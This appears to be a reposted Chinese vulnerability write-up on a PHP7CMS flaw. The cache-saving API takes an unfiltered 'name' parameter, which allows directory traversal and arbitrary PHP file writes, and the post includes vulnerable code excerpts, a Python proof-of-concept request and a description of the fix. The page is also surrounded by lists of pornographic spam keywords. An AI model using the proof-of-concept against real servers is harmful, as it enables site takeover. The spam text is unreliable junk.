日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

php7 cms,PHP7CMS 无条件前台GETSHELL

發(fā)布時間:2025/3/12 php 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php7 cms,PHP7CMS 无条件前台GETSHELL 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

Version:2018-10-09

//最新版中以修復(fù)此漏洞

這個漏洞很簡單,如果作者在寫代碼的時候考慮到一點(diǎn)點(diǎn)安全方面,其實(shí)都可以避免的。

[PHP] 純文本查看 復(fù)制代碼// php7cms/Core/Controllers/Api/Api.php

// 52~61 line

public function save_form_data() {

$rt = \Phpcmf\Service::L('cache')->init('file')->save(

\Phpcmf\Service::L('Input')->get('name'),

\Phpcmf\Service::L('Input')->post('data'),

7200

);

var_dump($rt);

exit;

}

調(diào)用了Cache類中 init 函數(shù),參數(shù)分別為get(‘name’)和post(‘data’)。

[PHP] 純文本查看 復(fù)制代碼// php7cms/Fcms/Library/Cache.php

// 112~121 line

public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {

$config = new \Config\Cache();

$config->handler = 'file';

$config->prefix = $prefix;

!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';

$config->path = WRITEPATH.'caching/';

$cache = \Config\Services::cache($config, 0);

return $cache;

}

初始化緩存類,為prefix參數(shù)拼接字符串后直接無任何過濾直接傳入CI框架的緩存類中,中間框架的執(zhí)行流程就不在文章里寫了。

直接看最后一步

[PHP] 純文本查看 復(fù)制代碼// php7cms/System/Cache/Handlers

// 107~125 line

public function save(string $key, $value, int $ttl = 60)

{

$key = $this->prefix . $key;

$contents = [

'time' => time(),

'ttl' => $ttl,

'data' => $value,

];

if ($this->writeFile($this->path . $key, serialize($contents)))

{

chmod($this->path . $key, 0640);

return true;

}

return false;

}

[PHP] 純文本查看 復(fù)制代碼//324~345 line

protected function writeFile($path, $data, $mode = 'wb')

{

if (($fp = @fopen($path, $mode)) === false)

{

return false;

}

flock($fp, LOCK_EX);

for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)

{

if (($result = fwrite($fp, substr($data, $written))) === false)

{

break;

}

}

flock($fp, LOCK_UN);

fclose($fp);

return is_int($result);

}

直接寫入到緩存目錄中,其中并沒有過濾”.”和”/”,可以跨目錄寫入。所以不需要考慮路由問題。

POC:

[PHP] 純文本查看 復(fù)制代碼from requests import post

postData = {

'data':'<?php phpinfo()?>'

}

postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

-1.png (123.79 KB, 下載次數(shù): 23)

2018-12-14 13:05 上傳

新版修復(fù):

3.png (27.21 KB, 下載次數(shù): 28)

2018-12-14 13:07 上傳

首先給dr_safe_replace 參數(shù)增加了兩個新的過濾條件 ” . “和 ” ‘ “,在原本漏洞出發(fā)點(diǎn)接收get值的時候用這個函數(shù)過濾。

03.png (35.6 KB, 下載次數(shù): 26)

2018-12-14 13:07 上傳

總結(jié)

以上是生活随笔為你收集整理的php7 cms,PHP7CMS 无条件前台GETSHELL的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 超碰在线成人 | 日本爽爽爽爽爽爽在线观看免 | 亚洲暴爽| 日韩精品视频网 | 国产九色视频 | 一卡二卡三卡视频 | 婷婷视频网 | 中国农村一级片 | 日本一级黄色大片 | 久久精品免费在线观看 | 亚洲精品视频在线播放 | 禁断介护av | 亚洲精品综合在线观看 | 最近日韩中文字幕中文 | 污污免费视频 | 狠狠躁夜夜躁人爽 | 97人人爽人人爽人人爽人人爽 | 亚洲精品免费看 | 国产女教师一区二区三区 | 欧美特黄aaaaaa | gv天堂gv无码男同在线观看 | 免费av高清 | 国产精品美女久久久久av爽 | 国产无遮挡免费视频 | 草莓巧克力香氛动漫的观看方法 | 久操久操 | 在线免费观看日韩视频 | 午夜激情视频在线观看 | 狼人久久| 无码av免费精品一区二区三区 | 国产电影免费观看高清完整版视频 | 国产人妻精品一区二区三区不卡 | 黑帮大佬和我的三百六十五天 | 8050午夜一级毛片久久亚洲欧 | 精品人妻人人做人人爽夜夜爽 | 精品日韩 | 精品一区二区三区中文字幕 | 国产欧美精品一区二区三区app | 亚洲综合激情另类小说区 | 国产一区精品在线 | 少妇天堂网| 欧美熟女一区二区 | 无码免费一区二区三区免费播放 | 亚洲激情自拍偷拍 | 96精品视频在线观看 | 性xxxfllreexxx少妇 | 黄色三级在线播放 | 韩国三级做爰视频 | 国产不卡高清 | 精品色综合 | 成人精品视频在线观看 | 91av毛片| 久久精品视频中文字幕 | 欧美视频网址 | av av在线| 亚洲美女黄色片 | 印度午夜性春猛xxx交 | 99黄色 | 久久经典视频 | 欧美乱妇日本无乱码特黄大片 | 熟妇人妻中文字幕无码老熟妇 | 爆乳熟妇一区二区三区 | 日韩美女在线 | 午夜h视频| 亚洲福利专区 | 黑人干亚洲女人 | 欧美在线专区 | 国产精品电影一区二区三区 | 天堂av2020| 在线亚洲色图 | 美国伊人网 | 亚洲精品国偷拍自产在线观看蜜桃 | 香蕉视频在线观看免费 | 国产精品国产精品国产专区不片 | 天堂影院av| 老头吃奶性行交 | 久久精品三级 | 野外(巨肉高h)| 麻豆视频在线免费看 | 国产 日韩 欧美 精品 | 亚洲欧美日本另类 | 在线视频免费播放 | 另类小说欧美 | 黄片毛片视频 | 欧美日韩一区二区在线视频 | 午夜爽爽爽视频 | 两个小y头稚嫩紧窄h文 | 久久久久久久色 | 黑人操亚洲女 | 在线观看视频一区二区 | 日日干影院 | 91九色视频 | 中文字幕在线国产 | 黄网站在线观 | 99热这里有 | 中国女人av| 黄色一级片视频 | 国产激情网 | 三级4级全黄60分钟 成人自拍视频 |